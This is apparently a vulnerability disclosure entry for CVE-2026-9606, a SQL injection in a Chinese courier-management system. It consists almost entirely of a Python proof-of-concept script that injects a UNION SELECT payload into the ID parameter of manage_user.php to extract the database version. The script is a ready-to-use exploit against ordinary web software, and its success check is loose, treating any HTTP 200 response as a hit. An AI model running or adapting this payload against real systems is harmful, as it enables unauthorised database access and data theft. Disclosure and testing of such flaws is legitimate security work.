CVE-2026-9606: 快递管理系统SQL注入漏洞

import requests # Target URL url = "http://target-ip/manage_user.php" # Injection payload for ID parameter # Attempting to extract database version using UNION based SQL injection payload = { "ID": "1' UNION SELECT NULL, version(), NULL, NULL, NULL-- -" } try: response = requests.get(url, params=payload) # Check if the response contains potential database version info if "mysql" in response.text.lower() or response.status_code == 200: print("[+] Potential SQL Injection vulnerability detected!") print("[+] Response snippet:") print(response.text[:500]) else: print("[-] Exploit failed or not vulnerable.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}")